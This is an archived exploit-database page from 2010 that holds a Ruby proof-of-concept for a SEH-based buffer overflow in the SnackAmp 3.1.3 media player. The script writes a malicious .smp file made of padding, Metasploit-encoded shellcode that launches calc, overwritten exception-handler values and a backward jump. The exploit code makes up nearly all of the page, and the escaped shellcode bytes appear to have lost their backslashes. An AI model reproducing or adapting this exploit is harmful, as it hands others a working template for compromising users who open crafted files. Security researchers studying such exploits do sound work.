[local exploits] - SnackAmp 3.1.3 Malicious SMP Buffer Overf
Posted on 12 December 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>SnackAmp 3.1.3 Malicious SMP Buffer Overflow Vulnerability (SEH) | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='SnackAmp 3.1.3 Malicious SMP Buffer Overflow Vulnerability (SEH) by James Fitts in local exploits | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>================================================================ SnackAmp 3.1.3 Malicious SMP Buffer Overflow Vulnerability (SEH) ================================================================ # Exploit Title: SnackAmp 3.1.3 Malicious SMP Buffer Overflow Vulnerability (SEH) # Date: 12/12/10 # Author: james [AT] learnsecurityonline [DOT] com # Software Link: http://snackamp.sourceforge.net/ # Version: 3.1.3 # Tested on: Windows XP SP3 EN # CVE: N/A # This version was just released as of 12/5/10 #! /usr/bin/env ruby # jump over nSEH = [0x06eb9090].pack('V') # !search pop r32 pop r32 ret # ppr from jpegtcl10.dll SEH = [0x014be06b].pack('V') # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc payload = "xdbxc0x31xc9xbfx7cx16x70xcc" payload << "xd9x74x24xf4xb1x1ex58x31x78" payload << "x18x83xe8xfcx03x78x68xf4x85" payload << "x30x78xbcx65xc9x78xb6x23xf5" payload << "xf3xb4xaex7dx02xaax3ax32x1c" payload << "xbfx62xedx1dx54xd5x66x29x21" payload << "xe7x96x60xf5x71xcax06x35xf5" payload << "x14xc7x7cxfbx1bx05x6bxf0x27" payload << "xddx48xfdx22x38x1bxa2xe8xc3" payload << "xf7x3bx7axcfx4cx4fx23xd3x53" payload << "xa4x57xf7xd8x3bx83x8ex83x1f" payload << "x57x53x64x51xa1x33xcdxf5xc6" payload << "xf5xc1x7ex98xf5xaaxf1x05xa8" payload << "x26x99x3dx3bxc0xd9xfex51x61" payload << "xb6x0ex2fx85x19x87xb7x78x2f" payload << "x59x90x7bxd7x05x7fxe8x7bxca" junk = "x41" * (8788 - payload.length) nop = "x90x90" # jmp $-160 jump = "xe9x5bxffxffxff" File.open("crash.smp", 'w') do |b| b.write junk + payload + nSEH + SEH + nop + jump end # <a href='http://1337db.com/'>1337db.com</a> [2010-12-12]</pre></body></html>